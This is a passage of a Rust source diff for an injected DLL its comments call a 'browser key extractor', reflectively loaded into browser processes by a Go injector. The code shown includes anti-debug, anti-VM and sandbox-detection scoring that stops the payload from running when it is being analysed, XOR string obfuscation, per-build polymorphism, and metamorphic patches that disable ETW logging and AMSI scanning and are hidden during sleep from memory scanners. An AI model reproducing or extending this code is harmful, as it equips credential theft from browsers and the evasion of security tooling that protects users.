}
let vl = lower(&v);
let key: u8 = gen::K_VENDOR;
let bad: [(obf::Slot, u32); 7] = [
obf::sig(gen::K_VENDOR, 0x1001, b"vmware"), obf::sig(gen::K_VENDOR, 0x1002, b"virtualbox"),
obf::sig(gen::K_VENDOR, 0x1003, b"kvm"), obf::sig(gen::K_VENDOR, 0x1004, b"qemu"),
obf::sig(gen::K_VENDOR, 0x1005, b"xen"), obf::sig(gen::K_VENDOR, 0x1006, b"vbox"),
obf::sig(gen::K_VENDOR, 0x1007, b"microsoft h"),
];
const LENS: [usize; 7] = [6, 10, 3, 4, 3, 4, 11];
bad.iter().enumerate().any(|(i, s)| {
let plain = obf::dec_sig(key, s, LENS[i]);
contains(&vl, &plain[..LENS[i]])
})
}
/// SMBIOS firmware string table search.
unsafe fn smbios_firmware() -> bool {
const RSMB: u32 = 0x5253_4D42; // 'RSMB'
let size = dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0);
if size == 0 || size > 4 * 1024 * 1024 {
return false;
}
let mut buf = vec![0u8; size as usize];
let got = dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size);
if got == 0 {
return false;
}
buf.truncate(got as usize);
let bl = lower(&buf);
let key: u8 = gen::K_SMBIOS;
let bad: [(obf::Slot, u32); 6] = [
obf::sig(gen::K_SMBIOS, 0x2001, b"vmware"), obf::sig(gen::K_SMBIOS, 0x2002, b"virtualbox"),
obf::sig(gen::K_SMBIOS, 0x2003, b"qemu"), obf::sig(gen::K_SMBIOS, 0x2004, b"kvm"),
obf::sig(gen::K_SMBIOS, 0x2005, b"innotek"), obf::sig(gen::K_SMBIOS, 0x2006, b"bochs"),
];
const LENS: [usize; 6] = [6, 10, 4, 3, 7, 5];
bad.iter().enumerate().any(|(i, s)| {
let plain = obf::dec_sig(key, s, LENS[i]);
contains(&bl, &plain[..LENS[i]])
})
}
/// Ask the OS for key system facts and probe for VM-typical characteristics.
unsafe fn gather_system_quirks() -> bool {
// Low total RAM (< 2GB) is common in thin sandboxes.
let mut ms = MemStatusEx {
dw_length: std::mem::size_of::<MemStatusEx>() as u32,
dw_memory_load: 0,
ull_total_phys: 0,
ull_avail_phys: 0,
ull_total_page_file: 0,
ull_avail_page_file: 0,
ull_total_virtual: 0,
ull_avail_virtual: 0,
ull_avail_extended_virtual: 0,
};
if abi::GlobalMemoryStatusEx(&mut ms as *mut _ as *mut c_void) != 0 {
if ms.ull_total_phys > 0 && ms.ull_total_phys < 2 * 1024 * 1024 * 1024 {
return true;
}
}
// A single-core / single-thread CPU is a common VM giveaway.
#[repr(C)]
#[derive(Clone, Copy)]
struct SysInfo {
processor_arch: u16,
page_size: u32,
min_app_addr: usize,
max_app_addr: usize,
active_processor_mask: usize,
num_processors: u32,
processor_type: u32,
alloc_granularity: u32,
processor_level: u16,
processor_revision: u16,
}
let mut si: SysInfo = unsafe { std::mem::zeroed() };
abi::GetSystemInfo(&mut si as *mut _ as *mut c_void);
if si.num_processors <= 1 {
return true;
}
false
}
// ---------------------------------------------------------------------------
// Anti-analyze / sandbox
// ---------------------------------------------------------------------------
unsafe fn process_scan() -> bool {
const TH32CS_SNAPPROCESS: u32 = 0x2;
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
return false;
}
#[repr(C)]
struct PROCESSENTRY32W {
dw_size: u32,
cnt_usage: u32,
th32_process_id: u32,
th32_default_heap_id: usize,
th32_module_id: u32,
cnt_threads: u32,
th32_parent_process_id: u32,
pc_pri_class_base: i32,
dw_flags: u32,
sz_exe_file: [u16; 260],
}
let mut entry: PROCESSENTRY32W = unsafe { std::mem::zeroed() };
entry.dw_size = std::mem::size_of::<PROCESSENTRY32W>() as u32;
// Tool-name signatures, XOR keystream so they don't sit in plaintext.
let key: u8 = gen::K_TOKEN;
let tools: [(obf::Slot, u32); 10] = [
obf::sig(gen::K_TOKEN, 0x3001, b"x64dbg"), obf::sig(gen::K_TOKEN, 0x3002, b"ollydbg"),
obf::sig(gen::K_TOKEN, 0x3003, b"windbg"), obf::sig(gen::K_TOKEN, 0x3004, b"ida"),
obf::sig(gen::K_TOKEN, 0x3005, b"procmon"), obf::sig(gen::K_TOKEN, 0x3006, b"procmon64"),
obf::sig(gen::K_TOKEN, 0x3007, b"vmtoolsd"), obf::sig(gen::K_TOKEN, 0x3008, b"wireshark"),
obf::sig(gen::K_TOKEN, 0x3009, b"tcpview"), obf::sig(gen::K_TOKEN, 0x300a, b"fiddler"),
];
const LENS: [usize; 10] = [6, 7, 6, 3, 7, 9, 8, 9, 7, 7];
let mut found = false;
if abi::Process32FirstW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
loop {
let mut name = Vec::with_capacity(520);
for ch in entry.sz_exe_file.iter() {
if *ch == 0 {
break;
}
name.push(*ch as u8);
}
let nl = lower(&name);
for (i, s) in tools.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&nl, &plain[..LENS[i]]) {
found = true;
break;
}
}
if found {
break;
}
if abi::Process32NextW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
break;
}
}
}
abi::CloseHandle(snap);
found
}
/// Probe the running environment for analyst/sandbox environment variables.
/// A handful of well-known sandbox marker variables are checked; if any non-empty
/// value is set the environment is treated as suspicious.
unsafe fn env_probe() -> bool {
let key: u8 = gen::K_ENV;
let mut out = [0u16; 512];
// Names are XOR-encrypted so they don't sit in plaintext.
let names: [(obf::Slot, u32); 4] = [
obf::sig(gen::K_ENV, 0x4001, b"SBIX"), obf::sig(gen::K_ENV, 0x4002, b"VIRTUALIZATION"),
obf::sig(gen::K_ENV, 0x4003, b"ANALYSIS"), obf::sig(gen::K_ENV, 0x4004, b"DYNT_AMBER"),
];
const LENS: [usize; 4] = [4, 13, 8, 10];
for (i, s) in names.iter().enumerate() {
let raw = obf::dec_sig(key, s, LENS[i]);
let mut nm: Vec<u16> = raw[..LENS[i]].iter().map(|&c| c as u16).collect();
nm.push(0);
let got = abi::GetEnvironmentVariableW(nm.as_ptr(), out.as_mut_ptr(), 512);
if got > 0 && got < 512 {
return true;
}
}
false
}
// ---------------------------------------------------------------------------
// Anti-dump / memory hardening
// ---------------------------------------------------------------------------
#[repr(C)]
#[derive(Clone, Copy)]
struct MemoryBasicInfo {
base_address: *mut c_void,
allocation_base: *mut c_void,
allocation_protect: u32,
region_size: usize,
state: u32,
protect: u32,
_type: u32,
}
const MEM_COMMIT: u32 = 0x1000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const PAGE_EXECUTE_WRITECOPY: u32 = 0x80;
/// Detect a call stack that originates from a suspicious module (a dumper / EDR
/// hooking common APIs often leaves its DLL on the stack). Heuristic: count how
/// many distinct allocation regions are RWX — a process holding many RWX regions
/// is either self-modifying or under an active memory scanner.
unsafe fn suspicious_memory_maps() -> bool {
let mut info: MemoryBasicInfo = std::mem::zeroed();
let mut addr: usize = 0;
let mut rwx: u32 = 0;
while addr < usize::MAX - 16 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
std::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if info.state == MEM_COMMIT {
let prot = info.protect & 0xFF;
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
rwx += 1;
}
}
// Advance to next region; a zero-size region means stop.
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
// A healthy process rarely exceeds this; a debugger/dumper allocating scratch
// RWX regions will. Keep the threshold high to avoid false positives.
rwx >= 6
}
/// Sweep committed pages and downgrade any writable+executable regions to
/// EXECUTE_READ, so a bulk memory dumper (which snapshots RWX areas) cannot
/// trivially read back a hot section. Uses the runtime-resolved VirtualProtect
/// (hash walk) so the guard doesn't import it statically.
unsafe fn harden_image() -> bool {
let mut info: MemoryBasicInfo = std::mem::zeroed();
let mut addr: usize = 0;
let mut anomaly = false;
let mut down: u32 = 0;
while addr < usize::MAX - 16 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
std::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if info.state == MEM_COMMIT {
let prot = info.protect & 0xFF;
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
anomaly = true;
if apires::dyn_downgrade_rwx(info.base_address, info.region_size) {
down += 1;
}
}
}
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
let _ = down;
anomaly
}
/// Block the process from being dumped by a debugger using a debug-flag lock.
/// Uses the *runtime resolved* NtQueryInformationProcess (hash walk), not the
/// static import, so the guard doesn't declare this API in its PE imports.
unsafe fn prevent_dump() -> bool {
// ProcessDebugFlags (info class 0x1f) — flags == 0 means the process is
// being debugged at the kernel level.
match apires::dyn_query_debug_flags() {
Some(flags) => flags == 0,
None => false,
}
}
/// Check whether ntdll syscall stubs have been hot-patched by an EDR/sandbox.
unsafe fn hooks_detected() -> bool {
antihook::detect_hooks()
}
/// Detect a virtual/OEM display by sampling the primary monitor's refresh rate.
/// Virtual display drivers (RDP, headless VMs, remote desktops) commonly report
/// a refresh rate far below a physical panel. If the refresh rate is at or below
/// the supplied ceiling, the environment is treated as virtual.
///
/// `dmDisplayFrequency` lives at a fixed offset in DEVMODEW (176 on x64) — we
/// allocate a wide buffer and read that offset directly, avoiding the layout
/// pitfalls of the huge union in the real struct.
unsafe fn low_refresh_display(ceiling_hz: u32) -> bool {
let mut dm = [0u8; 240];
let ok = dynapi::EnumDisplaySettingsW(
ptr::null(),
abi::ENUM_CURRENT_SETTINGS,
dm.as_mut_ptr() as *mut c_void,
);
if ok == 0 {
return false;
}
// DEVMODEW.dmDisplayFrequency offset (x64): 176. dmSize / dmDriverExtra at
// +68/+70 tell us how big the returned structure is; only trust the field if
// the driver confirmed at least that far.
let dm_size = *(dm.as_ptr().add(68) as *const u16) as usize;
if dm_size < 176 {
return false;
}
let freq = *(dm.as_ptr().add(176) as *const u32);
freq != 0 && freq <= ceiling_hz
}
/// Scan attached display devices for a known virtual driver name (RDP / generic
/// Microsoft basic display). Encrypted signature so it isn't plaintext.
unsafe fn virtual_display_driver() -> bool {
// A fixed-size probe device record: we only need the DeviceString up to the
// first NUL, offset 0 in DISPLAY_DEVICEW (DeviceName at +0, DeviceString at
// +32). Read via a raw buffer.
let scan: [(obf::Slot, u32); 5] = [
obf::sig(gen::K_DISPLAY, 0x5001, b"remote display"), obf::sig(gen::K_DISPLAY, 0x5002, b"rdp"),
obf::sig(gen::K_DISPLAY, 0x5003, b"basic display"), obf::sig(gen::K_DISPLAY, 0x5004, b"remote"),
obf::sig(gen::K_DISPLAY, 0x5005, b"virtual display"),
];
const LENS: [usize; 5] = [14, 3, 13, 6, 15];
let mut i = 0u32;
while i < 8 {
let mut buf = [0u16; 256]; // DEVICEW fields, we only read DeviceString at +32
let ok = dynapi::EnumDisplayDevicesW(ptr::null(), i, buf.as_mut_ptr() as *mut _ as *mut c_void, 0);
if ok == 0 {
break;
}
let mut name: Vec<u8> = Vec::with_capacity(256);
for ch in buf.iter().skip(32).take(120) {
if *ch == 0 {
break;
}
name.push(*ch as u8);
}
let nl = lower(&name);
for (idx, s) in scan.iter().enumerate() {
let plain = obf::dec_sig(gen::K_DISPLAY, s, LENS[idx]);
if contains(&nl, &plain[..LENS[idx]]) {
return true;
}
}
i += 1;
}
false
}
// ---------------------------------------------------------------------------
// Score + decision
// ---------------------------------------------------------------------------
/// Run the full battery. `true` = environment looks hostile → do not start the
/// payload. Score thresholds keep false positives low on clean hosts.
pub fn run() -> bool {
// Initialize syscall numbers and sleep encryption early
unsafe {
syscall::init_syscall_numbers();
sleep::init_sleep_key();
}
let mut score: u32 = 0;
let seed = flow::run_time_nonce();
// Per-build polymorphic junk injected into the entry path so the emitted
// bytes (and thus the artifact hash) differ on every build.
flow::junk();
flow::opaque_choice(seed, || { let _ = flow::branch_tag(); }, || { let _ = seed; });
// Windows-only signchecks; everything here is x64 Windows.
unsafe {
// --- anti-debug (wrapped in an opaque dispatch so a static analyzer
// can't cleanly pick a side; both arms are cheap) ---
flow::opaque_choice(seed, || {
// --- anti-debug ---
if peb_being_debugged() {
score += 3;
}
if peb_nt_global_flag() {
score += 3;
}
if nt_debug_port() {
score += 3;
}
if remote_debugger_present() {
score += 2;
}
if !timing_sane() {
score += 2;
}
}, || {});
// --- anti-VM (comprehensive, 16 vectors) ---
// The antivm module aggregates: CPUID bit + vendor, CPU brand string,
// VMware backdoor port, SIDT/SLDT red pills, SMBIOS strings, registry
// artifacts, filesystem artifacts, MAC OUI prefixes, uptime anomaly,
// process count, user-input absence, VM DLLs, tool windows, disk
// labels. It returns a cumulative score; map it onto ours with weight.
let avm = antivm::score();
if avm >= 6 {
score += 5; // overwhelming evidence of virtualization
} else if avm >= 3 {
score += 3; // strong signals
} else if avm >= 1 {
score += 1; // weak/noisy signals only
}
// Legacy direct checks kept as independent confirmation:
if cpu_hypervisor() {
score += 2;
}
if smbios_firmware() {
score += 1;
}
if gather_system_quirks() {
score += 2;
}
// --- anti-analyze / sandbox (reliability-focused, corroborated) ---
// The antisbx module uses a tiered model:
// hard: Sleep acceleration / timer tampering — conclusive alone
// strong: identity markers, empty desktop — rare on real machines
// weak: quiet mouse, few windows — only counted with corroboration
let sbx = antisbx::verdict(6, 250);
if sbx.hard {
score += 6; // physically impossible on a clean host
}
if sbx.score >= 6 {
score += 4; // multiple corroborated strong signals
} else if sbx.score >= 3 {
score += 2;
} else if sbx.score >= 1 {
score += 1;
}
// --- legacy direct checks ---
if process_scan() {
score += 3;
}
if env_probe() {
score += 2;
}
// --- anti-dump / memory hardening ---
if suspicious_memory_maps() {
score += 3;
}
let _ = harden_image(); // runs regardless; only scores via maps above
if prevent_dump() {
score += 3;
}
// --- anti-hook (EDR / sandbox hot-patch detection) ---
if hooks_detected() {
score += 3;
}
// --- anti-VM via display refresh signature ---
// 45 Hz and below: virtual/remote display drivers report this; a physical
// panel is almost never ≤ 45 Hz. Also scan for known virtual driver names.
if low_refresh_display(45) {
score += 3;
}
if virtual_display_driver() {
score += 2;
}
}
// Threshold: a handful of independent signals means it's an analysis box.
score >= 4
}
/// Second-opinion sandbox check intended to be called by the worker thread
/// after its first sleep cycle. Sandbox artifacts (accelerated sleeps,
/// absent user input) become more pronounced over time; transient noise
/// fades. Returns `true` if the environment now looks like a sandbox —
/// the caller should then wind down / exit.
pub fn recheck_sandbox() -> bool {
flow::junk();
let v = antisbx::verify_second_pass();
v.hard || v.score >= 3
}
@@ -0,0 +1,61 @@
//! recovery-key-extractor — Rust port of the injected browser key extractor.
//!
//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment
//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT`
//! commands over that named pipe. The DLL is reflectively mapped into the
//! browser process by the Go injector, which starts a thread on the exported
//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the
//! image, resolves imports and relocations, and finally invokes `DllMain`.
#![allow(clippy::missing_safety_doc)]
#![allow(non_snake_case)]
mod abi;
mod antihook;
mod antisbx;
mod antivm;
mod apires;
mod dynapi;
mod flow;
mod gen;
mod guard;
mod obf;
mod patch;
mod payload;
mod reflective;
mod sleep;
mod syscall;
use core::ffi::c_void;
const DLL_PROCESS_ATTACH: u32 = 1;
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 {
if reason == DLL_PROCESS_ATTACH {
unsafe {
let _ = abi::DisableThreadLibraryCalls(h_instance as usize);
}
// Guard first: if the environment looks like a debugger / VM / sandbox /
// analysis box, refuse to run the payload. Only spawn the worker on a
// clean host.
if guard::run() {
return 1;
}
// Defense patches: ETW silence, AMSI neuter, instrumentation-callback
// clear. Applied via direct syscalls; wrapped in junk to break
// signature alignment at DllMain.
flow::junk();
let _ = patch::apply_all();
payload::on_attach(reserved as *const u16);
}
1
}
/// Reflective loader entry point. The Go injector resolves this export by name
/// and starts a thread on it inside the target process.
#[unsafe(no_mangle)]
#[inline(never)]
pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize {
reflective::loader_impl(lpParameter)
}
@@ -0,0 +1,91 @@
//! Strong string obfuscation: position-dependent XOR keystream with per-string
//! nonces and compile-time entropy.
//!
//! Unlike a single fixed-XOR, every byte is combined with its own keystream
//! byte derived from `key`, `index`, and a nonce through a 4-round Feistel
//! avalanche, so the ciphertext carries no repeating pattern and a plaintext
//! signature never survives in `.rodata`.
//!
//! The encode happens at compile time in `const` context; the decode runs at
//! runtime on the stack, and only the materialized buffer ever exists in memory
//! briefly. Keystream is invertible so encode == decode.
//!
//! API:
//! - `sig(key, nonce, plain)` → `(Slot, nonce)` bundle at compile time
//! - `dec_sig(key, sig, len)` → plaintext buffer at runtime
/// Maximum supported string length (covers all current use cases).
pub const MAX_LEN: usize = 64;
/// Fixed-width encrypted slot.
pub type Slot = [u8; MAX_LEN];
/// Keystream byte using a 4-round Feistel-style avalanche so nearby positions
/// and similar keys/nonces produce wildly different output.
///
/// The avalanche constants are folded with per-build values from `gen` so the
/// keystream arithmetic *itself* differs between artifacts — a scanner cannot
/// decrypt `.rodata` slots with the published constant set.
#[inline(always)]
const fn ks_byte(key: u8, i: usize, nonce: u32) -> u8 {
// Per-build mix: changes every artifact's ciphertext AND the algorithm's
// emitted arithmetic, breaking cross-sample signatures.
let s = crate::gen::GEN_SEED ^ crate::gen::CFF_KEY;
let m1 = 0x9E37_79B9u32 ^ (crate::gen::GEN_SEED & 0xFFFF);
let m2 = 0x5D58_85A9u32 ^ ((crate::gen::CFF_KEY >> 16) & 0xFFFF);
let m3 = 0x7F4A_7C15u32 ^ (crate::gen::GEN_SEED >> 16);
let m4 = 0x85EBCA6Bu32 ^ (crate::gen::CFF_KEY & 0xFFFF);
let mut x = (key as u32)
.wrapping_add((i as u32).wrapping_mul(m1))
.wrapping_add(nonce)
.wrapping_add(i as u32)
.wrapping_add(s);
// Round 1
x ^= x >> 13;
x = x.wrapping_mul(m2);
// Round 2
x ^= x >> 16;
x = x.wrapping_mul(m3);
// Round 3
x ^= x << 7;
x = x.wrapping_mul(m1 ^ 0x7F4A_7C15);
// Round 4
x ^= x >> 11;
x = x.wrapping_mul(m4);
(x & 0xFF) as u8
}
/// Compile-time encrypt `plain` into a `Slot` (zeros beyond `len`).
pub const fn enc(key: u8, nonce: u32, plain: &[u8]) -> Slot {
let mut out = [0u8; MAX_LEN];
let mut i = 0;
while i < plain.len() && i < MAX_LEN {
out[i] = plain[i] ^ ks_byte(key, i, nonce);
i += 1;
}
out
}
/// A signature bundled with its own keystream nonce, so encryption and
/// decryption always agree no matter where the list is defined.
pub const fn sig(key: u8, nonce: u32, plain: &[u8]) -> (Slot, u32) {
(enc(key, nonce, plain), nonce)
}
/// Decrypt a `(Slot, nonce)` signature to `len` bytes.
pub fn dec_sig(key: u8, s: &(Slot, u32), len: usize) -> [u8; MAX_LEN] {
dec(key, s.1, &s.0, len)
}
/// Runtime decrypt a `Slot` in place, returning the plaintext (up to `len`).
pub fn dec(key: u8, nonce: u32, slot: &Slot, len: usize) -> [u8; MAX_LEN] {
let mut out = [0u8; MAX_LEN];
let n = len.min(MAX_LEN);
for i in 0..n {
out[i] = slot[i] ^ ks_byte(key, i, nonce);
}
out
}
@@ -0,0 +1,483 @@
//! Userland defense patches: ETW, AMSI, instrumentation callbacks.
//!
//! All memory modifications go through our own direct-syscall
//! NtProtectVirtualMemory — never the hooked kernel32 path.
//!
//! Modern (2023+) evasion notes:
//! - **Fixed byte-stubs are dead.** `xor eax,eax; ret` on EtwEventWrite and
//! the classic 14-byte AmsiScanBuffer stub are public, signature-scanned
//! patterns. Every stub here is *metamorphic*: several functionally
//! identical templates with different register allocation / encodings,
//! selected per-build from `gen`, so the patched bytes never match a
//! published signature.
//! - **Layer, don't rely on one target.** AMSI: AmsiScanBuffer (primary)
//! + AmsiOpenSession (sessions fail). ETW: EtwEventWrite (primary) +
//! EtwEventEnabled→FALSE (providers think they're disabled) + NtTraceEvent
//! (deep cut) + EtwEventRegister (silent success).
//! - **Sleep-evasion.** Memory-scanning EDRs inspect code sections while the
//! implant sleeps. We restore original bytes before `secure_sleep` and
//! re-apply afterwards (`suspend_all`/`resume_all`).
#![allow(dead_code)]
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::apires;
use crate::flow;
use crate::gen;
use crate::syscall;
use crate::syscall::{r as unmask, HASH_KEY};
// Verified ror-hashes (stored XORed with HASH_KEY; unmasked via syscall::r).
use crate::syscall::{
HASH_AMSI_SCAN_BUFFER,
HASH_ETW_EVENT_WRITE,
HASH_ETW_EVENT_REGISTER,
HASH_NTTRACE_EVENT,
HASH_MODULE_AMSI,
};
// ror-hash of "AmsiOpenSession" (0xF27C009B) / "EtwEventEnabled" (0x93C4008A).
const HASH_AMSI_OPEN_SESSION: u32 = 0xF27C_009B ^ HASH_KEY;
const HASH_ETW_EVENT_ENABLED: u32 = 0x93C4_008A ^ HASH_KEY;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const PAGE_EXECUTE_READ: u32 = 0x20;
// ---------------------------------------------------------------------------
// Patch bookkeeping (for sleep-evasion restore)
// ---------------------------------------------------------------------------
/// Saved original bytes of each patched site so they can be restored.
struct PatchSite {
addr: usize,
len: usize,
original: [u8; 32],
/// true once the original bytes have been captured (survives suspend).
primed: bool,
/// true while our stub is currently applied.
active: bool,
}
static mut SITES: [PatchSite; 8] = [
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
];
static mut SITE_NEXT: usize = 0;
/// Find an existing site for `addr` (survives suspend/resume cycles), else
/// reserve a fresh slot.
unsafe fn find_or_alloc_site(addr: usize, len: usize) -> Option<usize> {
for i in 0..SITES.len() {
if SITES[i].addr == addr {
return Some(i);
}
}
let mut slot = SITE_NEXT;
for _ in 0..SITES.len() {
let s = &mut SITES[slot];
if s.addr == 0 {
s.addr = addr;
s.len = len;
SITE_NEXT = (slot + 1) % SITES.len();
return Some(slot);
}
slot = (slot + 1) % SITES.len();
}
None
}
/// Capture the pristine bytes the first time a site is patched. On later
/// resume cycles the originals are already stored, so this is skipped.
unsafe fn snapshot(slot: usize) {
let s = &mut SITES[slot];
if s.primed {
return;
}
for i in 0..s.len.min(32) {
s.original[i] = ptr::read_volatile((s.addr + i) as *const u8);
}
s.primed = true;
}
/// Write bytes to a (code) address, flipping protection via direct syscall.
/// Optionally records the site for later restore.
unsafe fn patch_memory(addr: usize, bytes: &[u8], save_for_restore: bool) -> bool {
if addr == 0 {
return false;
}
let mut slot: Option<usize> = None;
if save_for_restore {
slot = find_or_alloc_site(addr, bytes.len());
if let Some(s) = slot {
snapshot(s);
SITES[s].active = true;
}
}
let mut base = addr as *mut c_void;
let mut size = bytes.len();
let mut old: u32 = 0;
let st = syscall::sys_nt_protect_virtual_memory(
abi_current_process(),
&mut base,
&mut size,
PAGE_EXECUTE_READWRITE,
&mut old,
);
if st != 0 {
if let Some(s) = slot {
SITES[s].active = false;
}
return false;
}
ptr::copy_nonoverlapping(bytes.as_ptr(), addr as *mut u8, bytes.len());
let mut tmp: u32 = 0;
let _ = syscall::sys_nt_protect_virtual_memory(
abi_current_process(),
&mut base,
&mut size,
old.max(PAGE_EXECUTE_READ),
&mut tmp,
);
flush_icache(addr, bytes.len());
true
}
#[inline]
unsafe fn flush_icache(_addr: usize, _len: usize) {
asm!("lfence", options(nostack, preserves_flags));
}
#[inline]
fn abi_current_process() -> usize {
usize::MAX // (HANDLE)-1 pseudo-handle
}
/// Restore all recorded patch sites to their original bytes and mark them
/// inactive (so resume_all can re-patch from the stored originals).
pub unsafe fn suspend_all() {
for i in 0..SITES.len() {
let s = &SITES[i];
if s.active && s.addr != 0 {
let mut base = s.addr as *mut c_void;
let mut size = s.len;
let mut old: u32 = 0;
if syscall::sys_nt_protect_virtual_memory(
abi_current_process(), &mut base, &mut size,
PAGE_EXECUTE_READWRITE, &mut old,
) == 0
{
ptr::copy_nonoverlapping(s.original.as_ptr(), s.addr as *mut u8, s.len);
let mut tmp: u32 = 0;
let _ = syscall::sys_nt_protect_virtual_memory(
abi_current_process(), &mut base, &mut size,
old.max(PAGE_EXECUTE_READ), &mut tmp,
);
flush_icache(s.addr, s.len);
SITES[i].active = false;
}
}
}
}
/// Re-apply the recorded patches after waking from sleep. Reuses the stored
/// pristine snapshots (sites matched by address in find_or_alloc_site), so
/// each patch lands on its original bytes and stays restorable.
pub unsafe fn resume_all() {
apply_saved();
}
/// Re-runs the individual patchers; each finds its existing site by address.
fn apply_saved() {
unsafe {
let _ = patch_etw_saved();
let _ = patch_etw_deep_saved();
let _ = patch_amsi_saved();
let _ = patch_amsi_opensession_saved();
}
}
// ---------------------------------------------------------------------------
// Metamorphic stub selection
// ---------------------------------------------------------------------------
/// Per-build variant index derived from gen constants (not the function's own
/// address so the choice is stable across a single artifact but unique per
/// build).
fn variant(a: u32) -> usize {
let v = gen::JUNK_VARIANT as u32;
let t = (gen::OPAQUE_TAG as u32).wrapping_mul(0x9E37_79B9);
(v.wrapping_add(t >> 24) % a) as usize
}
// ---------------------------------------------------------------------------
// 1. ETW patch — EtwEventWrite (primary)
// ---------------------------------------------------------------------------
/// Metamorphic no-op stubs for EtwEventWrite — all return STATUS_SUCCESS(0)
/// and are 3-7 bytes of genuinely different encodings.
fn etw_event_write_stub() -> &'static [u8] {
match variant(6) {
0 => &[0x33, 0xC0, 0xC3], // xor eax,eax ; ret
1 => &[0x31, 0xC0, 0xC3], // xor eax,eax (alt) ; ret
2 => &[0x48, 0x31, 0xC0, 0xC3], // xor rax,rax ; ret
3 => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], // mov eax,0 ; ret
4 => &[0x33, 0xC0, 0x90, 0xC3], // xor eax,eax ; nop ; ret
_ => &[0x55, 0x48, 0x89, 0xE5, 0x31, 0xC0, 0x5D, 0xC3], // push rbp; mov rbp,rsp; xor eax,eax; pop rbp; ret
}
}
/// Metamorphic stubs for EtwEventEnabled — return FALSE(0).
fn etw_event_enabled_stub() -> &'static [u8] {
match variant(4) {
0 => &[0x33, 0xC0, 0xC3],
1 => &[0x31, 0xC0, 0xC3],
2 => &[0x48, 0x31, 0xC0, 0xC3],
_ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3],
}
}
fn etw_register_stub() -> &'static [u8] {
match variant(3) {
0 => &[0x33, 0xC0, 0xC3],
1 => &[0x31, 0xC0, 0xC3],
_ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3],
}
}
/// Patch ntdll!EtwEventWrite → polymorphic no-op.
pub fn patch_etw() -> bool {
unsafe { patch_etw_saved() }
}
unsafe fn patch_etw_saved() -> bool {
let ntdll = apires::ntdll_base();
if ntdll == 0 {
return false;
}
let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_WRITE));
if target == 0 {
return false;
}
patch_memory(target, etw_event_write_stub(), true)
}
/// Patch ntdll!EtwEventEnabled → returns FALSE, so every provider's
/// "is this enabled?" check fails and the fast-path skips emission.
pub fn patch_etw_eventenabled() -> bool {
unsafe {
let ntdll = apires::ntdll_base();
if ntdll == 0 {
return false;
}
let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_ENABLED));
if target == 0 {
return false;
}
patch_memory(target, etw_event_enabled_stub(), true)
}
}
/// Deeper ETW cut: NtTraceEvent + EtwEventRegister.
pub fn patch_etw_deep() -> bool {
unsafe { patch_etw_deep_saved() }
}
unsafe fn patch_etw_deep_saved() -> bool {
let ntdll = apires::ntdll_base();
if ntdll == 0 {
return false;
}
let mut ok = true;
let trace = apires::export_by_hash_public(ntdll, unmask(HASH_NTTRACE_EVENT));
if trace != 0 {
ok &= patch_memory(trace, etw_event_write_stub(), true);
}
let reg = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_REGISTER));
if reg != 0 {
ok &= patch_memory(reg, etw_register_stub(), true);
}
ok
}
// ---------------------------------------------------------------------------
// 2. AMSI patch
// ---------------------------------------------------------------------------
/// Metamorphic AmsiScanBuffer stubs: write AMSI_RESULT_CLEAN(0) into arg6
/// (result ptr at [rsp+0x30]) and return S_OK(0). Each variant uses distinct
/// registers/encodings so no published signature matches the patch bytes.
fn amsi_scan_stub() -> &'static [u8] {
// Deliberately avoids the classic published 14-byte stub
// (`31 C0 49 8B 5C 24 30 45 31 DB 45 89 1B C3`) — that exact byte run is a
// documented AMSI-patch signature. Every variant here uses a different
// register/encoding so no artifact ships a known-signature byte sequence.
match variant(5) {
0 => &[
0x48, 0x8B, 0x4C, 0x24, 0x30, // mov rcx,[rsp+0x30] result ptr
0x33, 0xC0, // xor eax,eax S_OK
0x89, 0x01, // mov [rcx],eax CLEAN(0)
0xC3,
],
1 => &[
0x33, 0xC0, // xor eax,eax
0x49, 0x8B, 0x54, 0x24, 0x30, // mov r10,[rsp+0x30]
0x41, 0x89, 0x02, // mov [r10],eax
0xC3,
],
2 => &[
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax,0
